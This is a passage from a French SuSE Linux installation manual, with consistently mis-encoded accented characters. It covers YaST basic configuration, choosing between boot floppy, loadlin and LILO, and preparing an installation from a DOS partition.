  3155.                            YaST  copiera  alors  ce  noyau  vers  /boot/vmlinuz  et  placera  le  fichier  de
  3156.                            configuration du noyau sous /boot et, si vous le souhaitez, Θgalement sous
  3157.                            /usr/src/linux/.config.  Ce  fichier  donne  une  description  prΘcise  du
  3158.                            noyau installΘ et des modules correspondants.
  3159.  
  3160.               LILO         Lorsqu'il  vous  sera  demandΘ  si  vous  voulez  configurer  LILO ,  rΘpondez
  3161.                            `Oui' si vous Ωtes s√r que les systΦmes qui sont Θventuellement dΘjα installΘs
  3162.                            sur votre disque pourront Ωtre amorcΘs par LILO  (voir figure 3.21 page 105).
  3163.                            C'est gΘnΘralement le cas pour DOS et Windows 95/98 ~ avec Windows NT
  3164.                            les choses sont quelque peu diffΘrentes (voir paragraphe 4.7.2 page 135).
  3165.  
  3166.  
  3167. 38
  3168.        ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
  3169.  *______________________
  3170.  
  3171.  
  3172.  
  3173. Vous trouverez au chapitre YaST , paragraphe 3.6.2 page 104 des nformations
  3174. sur la maniΦre de remplir les diffΘrents masques.
  3175.  
  3176.  
  3177.  
  3178. 2.2.10       Configuration de base du systΦme avec YaST
  3179.  
  3180. AprΦs la sΘlection du noyau, nous passons maintenant α la configuration de
  3181. base. Les premiers composants logiciels et matΘriels sont configurΘs.
  3182.                         Fig. 2.11: YaST  ~ Choix de la zone horaire
  3183.  
  3184.  
  3185.  
  3186.   ~   Vous  pouvez  maintenant  choisir  votre  zone  horaire  (figure  2.11).  Vous                               zone horaire
  3187.       voyez apparaεtre une trΦs longue liste dans laquelle vous sΘlectionnerez
  3188.       `CET'  (angl.  Central  European  Time)  si  vous  vous  trouvez  avec  votre
  3189.       machine dans la zone horaire de l'Europe centrale : : :
  3190.                    Fig. 2.12: YaST  ~ Nom de machine et de domaine
  3191.  
  3192.  
  3193.                                                                                                                                    *
  3194.  *     39
  3195. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  3196.  *_______________________________________@
  3197.  
  3198.  
  3199.  
  3200.                                  L'horloge  peut  Ωtre  rΘglΘe  sur  Greenwich  Mean  Time  (GMT)  ou  sur
  3201.                                  l'heure locale. `GMT' est prΘvu par dΘfaut. SΘlectionnez `heure  loca-
  3202.                                  le' si votre horloge est rΘglΘe de cette maniΦre.
  3203.   Configuration
  3204.              rΘseau          ~   Quelques masques pour la configuration rΘseau apparaissent maintenant :
  3205.  
  3206.                                  ~   Nom de machine et de domaine (figure 2.12 page prΘcΘdente). Imagi-
  3207.                                      nez  ici  quelque  chose  de  plaisant  si  votre  +  administrateur  systΦme
  3208.                                      ou  votre  +  FAI     ne  vous  a  rien  proposΘ.  Si  vous  avez  l'intention
  3209.                                      de  vous  connecter  α  Internet  ou  d'utiliser  un  rΘseau  local,  veillez
  3210.                                      α  ce  que  ce  nom  soit  valide.  Un  nom  autorisΘ  est  par  exemple
  3211.                                      terre.cosmos.univers.  Ici,  terre  est  toujours  le  nom  d'h⌠te  de
  3212.                                      la machine (angl. hostname) et cosmos.univers le nom du domaine
  3213.                                      (angl. domainname).
  3214.  
  3215.                                  ~   loopback         ou  vΘritable         rΘseau ?  Si  votre  machine  ne  dispose  pas
  3216.                                      de carte rΘseau, vous pouvez valider loopback         et il ne vous sera pas
  3217.                                      nΘcessaire d'effectuer une configuration plus poussΘe.
  3218.  
  3219.                                  ~   Si  vous  choisissez  un  vΘritable         rΘseau,  il  vous  sera  posΘ  d'autres
  3220.                                      questions : client DHCP, type du rΘseau (pour les cartes ethernet, choi-
  3221.                                      sissez  eth0   ),  adresse  IP,  masque  rΘseau,  passerelle,  inetd ,  portmap ,
  3222.                                      serveur NFS, ligne From     pour les messages Usenet, client rΘseau avec
  3223.                                      accΦs  α  un  serveur  de  noms  (IP  du  serveur  de  noms,  domaine  YP),
  3224.                                      sΘlection du module du noyau pour la carte rΘseau).
  3225.  
  3226.  
  3227.                                              Fig. 2.13: YaST  ~ Choix du systΦme de messagerie
  3228.  
  3229.  
  3230.                                  ~   Choix  du  fichier  sendmail.cf  pour  le  systΦme  de  messagerie  (fi-
  3231.                                      gure 2.13) ; voir aussi paragraphe 6.8 page 205.
  3232.  
  3233.                            Les informations rassemblΘes jusque lα sont maintenant enregistrΘes et rΘpar-
  3234.                            ties par SuSEconfig         entre les diffΘrents fichiers de configurations. YaST  se
  3235.                            termine et de nombreux messages concernant l'Θtat du systΦme se succΦdent
  3236.                            sur l'Θcran : : :
  3237.  
  3238.  
  3239. 40
  3240.      ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_________________*
  3241.  *____________________
  3242.  
  3243.  
  3244.  
  3245. ~   AprΦs  quelques  messages  du  systΦme  et  le  message  de  "bienvenue",                                    Mot de passe
  3246.     votre entiΦre attention sera requise : Il reste encore α rΘgler l'importante                                 root
  3247.     question du mot de passe `root'. Vous aurez toujours besoin de ce mot
  3248.     de passe pour vous connecter en tant qu'+  administrateur systΦme. Choi-
  3249.     sissez votre mot de passe avec le plus grand soin, retenez-le bien et tenez
  3250.     compte de la casse des lettres. Dans la mesure du possible, n'utilisez ni
  3251.     espaces ni caractΦres spΘciaux (α moins que vous ne sachiez exactement
  3252.     ce que vous faites). Notez qu'il n'est tenu compte que de 8 caractΦres dans
  3253.     la configuration par dΘfaut.
  3254.  
  3255. ~   YaST vous suggΘrera de crΘer un login utilisateur pour votre travail quoti-                                  Login
  3256.     dien car normalement vous ne devriez pas vous connecter sous le compte
  3257.     `root'  mais  sous  votre  login  utilisateur.  Choisissez  un  joli  petit  nom
  3258.     (sans espaces et ne comportant pas, si possible, plus de 8 caractΦres), par
  3259.     exemple vos initiales ou tux. Si vous entrez un mot de passe, il est abso-
  3260.     lument essentiel aussi que vous le reteniez !
  3261.       Fig. 2.14: YaST  ~ Choix de l'interface pour le modem et la souris
  3262.  
  3263.  
  3264. ~   YaST    vous  demande  si  vous  voulez  configurer  votre  modem.  Si  vous                                 Modem
  3265.     possΘdez un modem, vous pouvez le faire intΘgrer dΦs maintenant mais
  3266.     il est aussi possible de remettre cette opΘration α plus tard et d'installer
  3267.     votre modem α n'importe quel moment. Si vous rΘpondez `Oui', YaST
  3268.     vous demandera quel est le port sΘrie de votre modem (figure 2.14). Notez
  3269.     que les ``Winmodems'' ne fonctionnent pas (voir http://sdb.suse.de/
  3270.     sdb/en/html/cep_winmodem.html).
  3271.  
  3272. ~   YaST   vous demande si vous voulez configurer votre souris. Si vous vou-                                     Souris
  3273.     lez le faire, rΘpondez `Oui' et sΘlectionnez le type de votre souris dans
  3274.     la liste (comme dans la figure 2.15 page suivante). S'il s'agit d'une souris
  3275.     sΘrie, YaST  voudra encore savoir α quelle interface sΘrie elle est connec-
  3276.     tΘe (figure 2.14). SΘlectionnez Θgalement celle-ci dans la liste (figure 2.15
  3277.     page suivante).
  3278.  
  3279.  
  3280.                                                                                                                                    *
  3281.  *   41
  3282. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  3283.  *_______________________________________@
  3284.  
  3285.  
  3286.                                                      Fig. 2.15: YaST  ~ Choix du pilote souris
  3287.                                                        Fig. 2.16: YaST  ~ Lancement de gpm
  3288.  
  3289.  
  3290.  
  3291.                              ~   Confirmez  ensuite  que  le  programme  gpm  devra  Ωtre  exΘcutΘ  lors  du
  3292.                                  dΘmarrage du systΦme (figure 2.16).
  3293.  
  3294.  
  3295.        Autres CD           Si  d'autres  paquetages  doivent  encore  Ωtre  installΘs  α  partir  des  CD-ROM
  3296.                            restants  (voir  paragraphe  2.2.8  page  37),  YaST  dΘmarrera  maintenant  cette
  3297.                            procΘdure : : :
  3298.  
  3299.  
  3300.                              ~   YaST  vous demande d'insΘrer les CD-ROM suivants1  afin qu'il soit pos-
  3301.                                  sible d'installer tous les logiciels restants. Le dernier CD ne sera requis
  3302.                                  que si vous avez explicitement sΘlectionnΘ les sources pour l'installation
  3303.                                  ~ mais normalement ce ne sera pas le cas !
  3304.                            _____________________________________________1
  3305.                               Si vous avez un SuSE   Linux avec DVD, vous n'avez pas α vous tracasser α ce sujet : la totalitΘ
  3306.                            des logiciels tient sur un seul support.
  3307.  
  3308.  
  3309. 42
  3310.        ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
  3311.  *______________________
  3312.  
  3313.  
  3314.  
  3315.   ~   Ensuite vous quitterez YaST  et il vous sera demandΘ d'appuyer sur |______|-
  3316.  
  3317. Votre systΦme SuSE     Linux est entiΦrement installΘ.
  3318.  
  3319.  
  3320. 2.2.11       Se connecter aprΦs la premiΦre installation
  3321.  
  3322. Quelques scripts de  configuration automatique sont exΘcutΘs en arriΦre-plan                                       `root'
  3323. et  vous  pouvez  vous  connecter  en  avant-plan,  par  exemple  sur  la  premiΦre
  3324. console  Entrez,  α  l'invite  "Login  :"  d'abord  root     et  α  l'invite  "Pass-                               Login  :
  3325. word  :" le mot de passe que vous avez prΘalablement dΘterminΘ pour l'uti-                                         Password  :
  3326. lisateur`root' (voir paragraphe 2.2.10 page 41) ~ α ne pas confondre avec
  3327. le mot de passe pour l'``utilisateur exemple''. Pour la procΘdure de login, voir
  3328. paragraphe 19.1 page 482.
  3329.  
  3330. Vous  voyez  maintenant  l'+  invite  (angl.  prompt)  de  Linux  et  pouvez  com-                                 Invite
  3331. mencer α travailler. Voici α quoi ressemble le message d'invite :
  3332.  
  3333.       terre:  #
  3334.  
  3335. Lancez par exemple la commande ls  -a     pour lister les fichiers dans votre
  3336. rΘpertoire de travail.
  3337.  
  3338.       terre:  #  ls  -a
  3339.  
  3340. Ou lancez YaST  (yast    ) afin d'apporter des modifications au systΦme :
  3341.  
  3342.       terre:  #  yast
  3343.  
  3344. Si  vous  lancez  YaST  (yast    ),  vous  pouvez  ajouter  de  nouveaux  utilisateurs
  3345. avec  l'option  du  menu  `Administration  du  systΦme'.  Vous  continue-
  3346. rez avec la sous-option `Configurer  XFree86' pour configurer l'interface
  3347. graphique (voir paragraphe 8.1 page 240).
  3348.        _______________________________________________________________________________________________________________________|||||
  3349.        ||||||||  Des  scripts  de  configuration  automatique  vont  tourner  en  tΓche  de  fond               |||            |
  3350.        ||||||||                                                                                                 ||             |
  3351.        ||||||||  (indexation  des  pages  de  man,  configuration  de  Perl,  etc.).  Sur  des  ma-             ||             |
  3352.        ||||||||  chines de moindre performance, cette procΘdure peut souvent prendre plus                       ||             |
  3353.        ||||||||                                                                                                 ||             |
  3354.        ||||||||  d'une heure ; ceci dΘpend de la taille de l'installation. Si vous arrΩtez votre                ||             |
  3355.        ||||||||  machine prΘmaturΘment, YaST  redΘmarrera automatiquement lors du pro-                          ||             |
  3356.        ||||||||                                                                                                 ||             |
  3357.        ||||||||  chain amorτage !                                                                               ||             |
  3358.        ||||||||  L'exΘcution de ces scripts n'est complΦtement terminΘe que lorsque vous                        ||             |
  3359.        ||||||||                                             ____       ___                                      ||             |
  3360.        ||||||||  voyez sur la +  console 9 (basculez avec |A____l|t+ |F___|9) :                                 ||             |
  3361.        ||||||||                                                                                                 ||             |
  3362.        ||||||||                                     "Have  a  lot  of  fun !"                                   ||             |
  3363.        ||||||||_______________________________________________________________________________________________________________||_
  3364.  
  3365. AprΦs l'installation du systΦme, vous pourrez effectuer de nouvelles configu-
  3366. rations.  Voir  au  paragraphe  2.1.17  page  27  les  rΘfΘrences  α  l'impression,  α
  3367. Internet et α l'intΘgration du matΘriel .
  3368.        _______________________________________________________________________________________________________________________|||
  3369.        ||||||||                                                                                                 ||             |
  3370.        ||||||||  Un ordinateur sous Linux ne doit jamais Ωtre Θteint brutalement. Utilisez                      ||             |
  3371.        ||||||||  soit la fonctionnalitΘ prΘvue dans KDM , soit les commandes prΘsentΘes au                      ||             |
  3372.        ||||||||                                                                                                 ||             |
  3373.        ||||||||  paragraphe 19.2 page 483 pour arrΩter votre machine (angl. shutdown). Si                       ||             |
  3374.        ||||||||  votre machine n'est pas arrΩtΘe de cette maniΦre, il vous sera nΘcessaire,                     ||             |
  3375.        ||||||||                                                                                                 ||             |
  3376.        ||||||||  lors du prochain amorτage, de vΘrifier les systΦmes de fichiers ~ ceci prend                   ||             |
  3377.        ||||||||  du temps et il peut arriver, dans quelques rares cas, que la vΘrification ne                   ||             |
  3378.        ||||||||                                                                                                 ||             |
  3379.        ||||||||  permette pas de restaurer tous les fichiers Θventuellement dΘtΘriorΘs.                         ||             |
  3380.        ||||||||_______________________________________________________________________________________________________________||_
  3381.  
  3382.  
  3383.                                                                                                                                    *
  3384.  *     43
  3385. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  3386.  *_______________________________________@
  3387.  
  3388.  
  3389.  
  3390.                            2.3       Comment dΘmarrer SuSE        Linux α l'avenir ?
  3391.  
  3392.                            Le  systΦme  Linux  est  pour  ainsi  dire  complΦtement  installΘ.  Il  reste  en-
  3393.                            core  α  prΘciser  comment  vous  voulez  lancer  Linux  pour  l'usage  quotidien
  3394.                            (+  Amorτage).
  3395.  
  3396.                            L'aperτu qui va suivre vous fera connaεtre les principales mΘthodes de dΘmar-
  3397.                            rage de Linux. Le choix que vous ferez dΘpendra de votre degrΘ d'expΘrience
  3398.                            avec les ordinateurs ainsi que de l'usage auquel vous destinez votre systΦme
  3399.                            Linux.
  3400.  
  3401.  
  3402.                            Disquette d'amorτage :                DΘmarrage  de  Linux  au  moyen  d'une  disquette
  3403.                                  d'amorτage. Cette mΘthode est toujours efficace et n'occasionne pas de
  3404.                                  travail car il est probable que la disquette d'amorτage ait dΘjα ΘtΘ gΘnΘrΘe
  3405.                                  accessoirement (au paragraphe 2.2.10 page 39).
  3406.  
  3407.                                  La  disquette  d'amorτage  est  une  bonne  solution  provisoire  si  vous  ne
  3408.                                  parvenez pas tout de suite α vous familiariser avec les autres mΘthodes ou
  3409.                                  si vous jugez prΘfΘrable de remettre α plus tard le choix d'un mΘcanisme
  3410.                                  d'amorτage dΘfinitif. La disquette d'amorτage peut aussi Ωtre une bonne
  3411.                                  solution en relation avec OS/2 ou Windows NT.
  3412.  
  3413.                            loadlin :      La variante loadlin peut Ωtre utilisΘe dans les conditions suivantes :
  3414.  
  3415.                                  ~   Votre machine doit tourner sous DOS soit en mode rΘel, soit en mode
  3416.                                      virtuel  8086  avec  dans  ce  cas  un  serveur  VCPI  disponible.  Un  ser-
  3417.                                      veur  VCPI  est  mis  α  disposition  par  emm386.exe ,  par  exemple.  En
  3418.                                      d'autres  termes,  cette  mΘthode  ne  fonctionne  ni  sous  Unix,  ni  sous
  3419.                                      OS/2 ni dans la fenΩtre DOS de Windows 95/98. Elle fonctionne par
  3420.                                      contre trΦs bien α partir de l'invite de MS-DOS ou α partir du mode
  3421.                                      DOS sous Windows 95/98.
  3422.  
  3423.                                  ~   Votre machine doit avoir suffisamment de mΘmoire DOS disponible :
  3424.                                      au  dessous  de  640  Ko,  au  moins  128  Ko.  Le  reste  peut  Ωtre  de  la
  3425.                                      mΘmoire Θtendue /EMS/XMS.
  3426.  
  3427.                                  loadlin  demande  certes  un  peu  de  travail  pour  son  installation,  mais  en
  3428.                                  revanche il se laisse trΦs facilement intΘgrer dans les menus de dΘmarrage
  3429.                                  de Windows 95/98. Pour cela, il est nΘcessaire d'Θditer manuellement des
  3430.                                  fichiers de configuration. Mais aucune entrΘe n'est faite dans le +   MBR
  3431.                                  (angl. Master Boot Record) du disque dur. Ceci constitue un gros avan-
  3432.                                  tage  car  les  autres  systΦmes  d'exploitation  ne  voient  de  Linux  que  des
  3433.                                  partitions avec des identificateurs (angl. ID) qui leur sont inconnus.
  3434.  
  3435.                                  L'installation de loadlin requiert certaines connaissances concernant DOS
  3436.                                  et Linux. Vous devriez Ωtre en mesure de crΘer les fichiers de configura-
  3437.                                  tion nΘcessaires avec un +   Θditeur.   Vous trouverez des dΘtails sur cette
  3438.                                  procΘdure au paragraphe 4.9 page 143.  Vous pouvez cependant rencon-
  3439.                                  trer  des  difficultΘs  si  vous  faites  une  erreur  lors  de  la  configuration  des
  3440.                                  menus d'amorτage de Windows95/98. Il est mΩme possible, dans un cas
  3441.                                  extrΩme, que vous ne puissiez plus accΘder α votre installation Windows.
  3442.                                  Vous devriez donc, avant de configurer ces menus d'amorτage, faire en
  3443.                                  sorte  qu'il  vous  soit  possible  de  dΘmarrer  votre  systΦme  α  l'aide  d'une
  3444.                                  disquette d'amorτage Windows.
  3445.  
  3446.  
  3447. 44
  3448.        ________________________________________________________2.3.__Comment_dΘmarrer_SuSE______Linux_α_l'avenir_?_________________*
  3449.  *______________________
  3450.  
  3451.  
  3452.  
  3453. LILO  :       La solution la plus universelle et la plus correcte sur le plan tech-
  3454.       nique  est  reprΘsentΘe  par  le  gestionnaire  d'amorτage  LILO    qui  vous
  3455.       laisse  le  choix,  avant  l'amorτage,  entre  diffΘrents  systΦmes  d'exploita-
  3456.       tion. Vous pouvez installer LILO  α l'aide de YaST  (voir paragraphe 3.6.2
  3457.       page 104). Toutefois, LILO  doit se trouver sur le secteur maεtre d'amor-
  3458.       τage (MBR) du disque dur, ce qui comporte un petit risque au moment
  3459.       de l'installation. La correction d'erreurs requiert des connaissances fon-
  3460.       damentales du processus d'amorτage. Vous devriez Ωtre en mesure, le cas
  3461.       ΘchΘant, d'Θditer le fichier de configuration principal de LILO . Vous de-
  3462.       vriez aussi, avant d'installer LILO , penser α son Θventuelle dΘsinstalla-
  3463.       tion pour le cas o∙ vous devriez rencontrer des difficultΘs. Vous trouverez
  3464.       des  informations  plus  dΘtaillΘes  sur  LILO  et  sur  le  processus  d'amor-
  3465.       τage au paragraphe 4.3 page 120. Mais LILO  n'en demeure pas moins la
  3466.       meilleure mΘthode d'amorτage. Vous devez seulement avoir conscience
  3467.       qu'il est plus compliquΘ α utiliser qu'une disquette d'amorτage.
  3468.        _______________________________________________________________________________________________________________________|||
  3469.        ||||||||                                                                                                 ||             |
  3470.        ||||||||  Il existe des variantes de BIOS qui vΘrifient la structure du secteur maεtre                   ||             |
  3471.        ||||||||  d'amorτage (MBR) et qui aprΦs une installation de LILO Θmettent α tort un                      ||             |
  3472.        ||||||||                                                                                                 ||             |
  3473.        ||||||||  avertissement annonτant la prΘsence d'un virus. Il est facile de remΘdier α                    ||             |
  3474.        ||||||||  ce problΦme en recherchant dans le BIOS les paramΦtres correspondants et                       ||             |
  3475.        ||||||||                                                                                                 ||             |
  3476.        ||||||||  en dΘsactivant par exemple la `protection  contre  les  virus'. Vous                           ||             |
  3477.        ||||||||  pouvez rΘactiver plus tard cette option. Ceci est cependant superflu si vous                   ||             |
  3478.        ||||||||                                                                                                 ||             |
  3479.        ||||||||  utilisez Linux comme seul systΦme d'exploitation.                                              ||             |
  3480.        ||||||||_______________________________________________________________________________________________________________||_
  3481.  
  3482. Vous  trouverez  de  plus  amples  informations  sur  les  diffΘrentes  mΘthodes
  3483. d'amorτage,  particuliΦrement  sur  LILO  et  loadlin ,  au  chapitre  4  page  117
  3484. et pages suivantes.
  3485.  
  3486.  
  3487. Autres gestionnaires d'amorτage
  3488.  
  3489. Certains fabricants de gestionnaires de fenΩtres se sont orientΘs vers Linux
  3490. en  raison  de  son  importance  croissante.  Aux  premiΦres  places,  nous  trou-
  3491. vons  System  Commander  Deluxe  et  Partition  Magic .  En  plus  d'une  aide
  3492. lors de l'amorτage du systΦme, ces logiciels offrent aussi un grand nombre
  3493. d'autres  possibilitΘs.  Vous  pouvez,  par  exemple,  modifier  la  taille  de  parti-
  3494. tions FAT32 dΘjα existantes ou transformer une partition FAT16 en FAT32.
  3495. Ces programmes ne sont pas inclus sur les CD et ne sont pas couverts par
  3496. l'Assistance Technique α l'Installation !
  3497.  
  3498.  
  3499.                                                                                                                                    *
  3500.  *     45
  3501. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  3502.  *_______________________________________@
  3503.  
  3504.  
  3505.  
  3506.                            2.4       Installation sans lecteur de CD-ROM supportΘ
  3507.  
  3508.                            Que  faire  s'il  n'est  pas  possible  de  procΘder  α  une  installation  standard  au
  3509.                            moyen  d'un  lecteur  de  CD-ROM ?  Votre  lecteur  de  CD-ROM  n'a  pas  pu
  3510.                            Ωtre  supportΘ  parce  qu'il  s'agit  d'un  vieux  lecteur  ``propriΘtaire''.  Ou  votre
  3511.                            ordinateur secondaire (par exemple un notebook) ne possΦde Θventuellement
  3512.                            pas  de  lecteur  de  CD-ROM  mais  il  est  dotΘ  en  revanche  d'un  adaptateur
  3513.                            Ethernet ou d'un cΓble PLIP : : :
  3514.  
  3515.                            SuSE      Linux  vous  propose  des  solutions  pour  vous  permettre  d'installer  un
  3516.                            systΦme sur de telles machines sans lecteur de CD-ROM supportΘ :
  3517.  
  3518.  
  3519.                              ~   └ partir d'une partition DOS (paragraphe 2.4.1).
  3520.  
  3521.                              ~   └  travers  une  connexion  rΘseau  :  NFS  ou  FTP  via  Ethernet  ou  PLIP
  3522.                                  (paragraphe 2.4.2 page 48).
  3523.  
  3524.  
  3525.                            2.4.1      Installation α partir d'une partition DOS
  3526.  
  3527.  
  3528.                            De quoi est-il question ?
  3529.  
  3530.                            Avant l'installation, copiez (partiellement) les logiciels Linux sur une parti-
  3531.                            tion  DOS  de  votre  disque  dur  si  le  noyau  standard  du  CD  ne  supporte  pas
  3532.                            votre lecteur de CD-ROM ou si Linux ne supporte pas du tout le lecteur. Il ne
  3533.                            vous sera alors pas possible d'utiliser sous Linux le lecteur de CD-ROM soit
  3534.                            provisoirement, soit en rΦgle gΘnΘrale.
  3535.  
  3536.  
  3537.                            Conditions
  3538.  
  3539.                            Vous  travaillez  sous  DOS,  Windows  ou  OS/2  et  vous  savez  que  Linux  ne
  3540.                            supporte pas votre lecteur de CD-ROM. Vous avez suffisamment de place sur
  3541.                            la partition DOS, OS/2 ou Windows (3.11 ou 95/98) et votre machine dispose
  3542.                            d'une quantitΘ suffisante de +  mΘmoire.
  3543.  
  3544.                            Dans  un  premier  temps,  vous  copierez  uniquement  les  paquetages  pour  le
  3545.                            systΦme de base.
  3546.  
  3547.  
  3548.                            Pas α pas : : :
  3549.  
  3550.                            ProcΘdez de cette maniΦre pour copier sur votre disque dur les fichiers que
  3551.                            vous  dΘsirez  (si  vous  ne  voulez  pas  exΘcuter  les  phases  suivantes  une  par
  3552.                            une,  le  fichier  batch  lhdsetup.bat  du  rΘpertoire  \dosutils\misc              peut
  3553.                            Θventuellement vous Ωtre utile) :
  3554.  
  3555.  
  3556.                             1.   CrΘez d'abord le rΘpertoire dans lequel vous voulez faire des copies. Vous
  3557.                                  pouvez lui donner n'importe quel nom. Ici, dans notre exemple, il s'ap-
  3558.                                  pelle \emil     .
  3559.  
  3560.                             2.   Au dessous de \emil     , il vous faut encore le rΘpertoire suse     et au mini-
  3561.                                  mum les rΘpertoires a1  , images       et setup     . Ces derniers sont dΘjα nΘces-
  3562.                                  saires pour l'installation du systΦme de base Linux. CrΘez donc ces rΘper-
  3563.                                  toires. Dans la figure 2.17 page ci-contre, vous avez une vue d'ensemble
  3564.                                  de l'arborescence des rΘpertoires requise.
  3565.  
  3566.  
  3567. 46
  3568.       ____________________________________________________2.4.__Installation_sans_lecteur_de_CD-ROM_supportΘ_______________________*
  3569.  *_____________________
  3570.       ||||||||                                                                                                                |
  3571.       _______________________________________________________________________________________________________________________||||
  3572.       ||||||||                                                                                                                |
  3573.       |||||||||                                                                                                               ||
  3574.       ||||||||                                                                                                                |
  3575.       ||||||||                                                                                                                |
  3576.       ||||||||                                                                                                                |
  3577.       ||||||||                                                                                                                |
  3578.       ||||||||                                                                                                                |
  3579.       ||||||||                                                                                                                |
  3580.       ||||||||                                                                                                                |
  3581.       ||||||||                                                                                                                |
  3582.       ||||||||                                                                                                                |
  3583.       ||||||||                                                                                                                |
  3584.       ||||||||                                                                                                                |
  3585.       ||||||||                                                                                                                |
  3586.       ||||||||                                                                                                                |
  3587.       ||||||||                                                                                                                |
  3588.       ||||||||                                                                                                                |
  3589.       ||||||||                                                                                                                |
  3590.       ||||||||                                                                                                                |
  3591.       ||||||||                                                                                                                |
  3592.       ||||||||                                                                                                                |
  3593.       ||||||||                                                                                                                |
  3594.       ||||||||                                                                                                                |
  3595.       ||||||||                                                                                                                |
  3596.       ||||||||                                                                                                                |
  3597.       ||||||||                                                                                                                |
  3598.       ||||||||                                                                                                                |
  3599.       ||||||||_______________________________________________________________________________________________________________ |
  3600.  
  3601.                     Fig. 2.17: Structure des rΘpertoires d'installation
  3602.  
  3603.  
  3604.  
  3605. 3.   Copiez les fichiers de \suse\a1        du CD 1 vers \emil\suse\a1             sur votre
  3606.      disque dur. Si vous disposez de beaucoup de place sur la partition DOS,
  3607.      copiez l'arborescence complΦte \suse      du CD vers \emil\suse         .
  3608.  
  3609. 4.   SΘlectionnez,  dans  \suse\images           ,  un  noyau  qui  supporte  votre  matΘ-
  3610.      riel. Dans le fichier \suse\images\readme.dos                     , il est indiquΘ ce que
  3611.      supporte chaque noyau.
  3612.      Copiez ensuite le noyau vers \emil\suse\images                . Un noyau est consti-
  3613.      tuΘ de quatres fichiers (voir plus haut) : le noyau sans extension des noms
  3614.      de fichiers et les fichiers avec les extensions .ikr    , .inf     et .map. Si vous
  3615.      disposez de beaucoup d'espace sur votre disque dur, vous pouvez aussi
  3616.      copier tous les fichiers. Vous remettrez la sΘlection du noyau α plus tard,
  3617.      partie remise n'est pas perdue !
  3618.  
  3619. 5.   Pour   plus   de   sΘcuritΘ,   copiez   les   fichiers   \suse\images\root                 et
  3620.      \suse\images\initdisk.gz                      vers \emil\suse\images                .
  3621.  
  3622. 6.   Copiez \suse\setup\loadlin.exe                      vers \emil\suse\setup               .
  3623.  
  3624. 7.   Vous  devrez  encore  dΘcompresser  le  fichier  \suse\setup\root                et  le
  3625.      transfΘrer  vers  \emil\suse\setup              .  Utilisez  pour  cela  la  version  DOS
  3626.      du programme gzip dans le rΘpertoire \dosutils         du CD :
  3627.           C:>  cd  \emil\suse
  3628.           C:>  gzip  -dc  <  images\root          >  setup\inst-img
  3629.      Ce fichier est relativement grand mais il n'est nΘcessaire que pour l'instal-
  3630.      lation de base. Lorsque vous aurez un systΦme de base opΘrationnel, vous
  3631.      pourrez α tout moment installer des paquetages supplΘmentaires α partir
  3632.      de la partition DOS. Vous n'aurez alors plus besoin du fichier inst-img       .
  3633.  
  3634. 8.   CrΘez  le  rΘpertoire  \emil\suse\setup\descr                     sur  votre  disque  dur  et
  3635.      copiez vers celui-ci tous les fichiers de \suse\setup\descr                .
  3636.  
  3637.  
  3638.                                                                                                                                    *
  3639.  *    47
  3640. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  3641.  *_______________________________________@
  3642.  
  3643.  
  3644.  
  3645.                             9.   Si  vous  avez  suffisamment  de  place  sur  votre  disque  dur,  vous  pouvez
  3646.                                  encore crΘer le fichier \emil\suse\setup\du                  et copier vers celui-ci tous
  3647.                                  les  fichiers  de  \suse\setup\du            .  Ces  fichiers  ne  sont  pas  absolument
  3648.                                  indispensables  mais  ils  vous  permettront  de  faire  plus  tard  des  calculs
  3649.                                  concernant  les  tailles  des  logiciels  installΘs  ou  devant  Ωtre  installΘs  par
  3650.                                  YaST . C'est quelque chose de bien utile si vous avez la place nΘcessaire.
  3651.  
  3652.                           10.    Vous  avez  maintenant  ce  qui  est  absolument  indispensable  pour  un
  3653.                                  systΦme  Linux  de  base  sur  la  partition  DOS  de  votre  disque.  Mais  il
  3654.                                  manque  encore  tous  les  autres  logiciels.  Comme  vous  faites  partie  des
  3655.                                  malchanceux  dont  le  lecteur  de  CD-ROM  n'est  pas  supportΘ,  il  vous
  3656.                                  faudra  d'abord  tout  enfourner  par  petites  portions  sur  votre  disque  dur,
  3657.                                  de lα installer avec YaST  pour ensuite effacer ce que vous avez mis sur
  3658.                                  le  disque  dur.  Vous  n'Ωtes  pas  obligΘ  de  le  faire  immΘdiatement,  mais
  3659.                                  si vous savez dΘjα ce que vous voulez, alors n'hΘsitez pas : crΘez le rΘ-
  3660.                                  pertoire sous \emil\suse          et copiez dans celui-ci les fichiers concernΘs.
  3661.                                  Vous trouverez ce que vous pouvez installer en lisant les descriptions des
  3662.                                  paquetages ou la documentation en ligne du CD.
  3663.  
  3664.                            Maintenant, l'installation peut commencer selon la description faite au para-
  3665.                            graphe 2.2.2 page 28.
  3666.  
  3667.                            Lorsque  linuxrc  vous  interrogera  au  sujet  du  support  source           ,  spΘcifiez
  3668.                            `Disque  dur' et en rΘponse α la question concernant la partition du disque
  3669.                            dur, spΘcifiez le +  pΘriphΘrique de votre partition DOS. En rΦgle gΘnΘrale, ce
  3670.                            sera /dev/hda1 ou /dev/sda1 si DOS est installΘ sur la premiΦre partition
  3671.                            primaire.
  3672.  
  3673.                            Si  vous  avez  adoptΘ  les  noms  citΘs  plus  haut,  vous  devrez  spΘcifier  /emil
  3674.                            comme rΘpertoire  source                ~ ce sera la prochaine question. Ensuite l'ins-
  3675.                            tallation  se  poursuivra  comme  il  est  dΘcrit  au  paragraphe  2.2.4  page  33  et
  3676.                            pages suivantes. └ la question qui vous sera posΘe aprΦs le partitionnement,
  3677.                            vous  ne  devrez  en  aucun  cas  rΘpondre  `tout  le  disque'  ~  ceci  rendrait
  3678.                            toutes vos prΘparations absolument inutiles.
  3679.  
  3680.  
  3681.                            2.4.2      Installation α partir d'une source ``rΘseau''
  3682.  
  3683.                            Pour  rΘgler  cette  question,  il  ne  vous  est  pas  possible  de  bΘnΘficier  des
  3684.                            services  de  l'Assistance  Technique  α  l'Installation  (voir  paragraphe  H.1.2
  3685.                            page 558). Cette mΘthode d'installation ne devrait Ωtre envisagΘe que par des
  3686.                            utilisateurs expΘrimentΘs.
  3687.  
  3688.  
  3689.                            De quoi est-il question ?
  3690.  
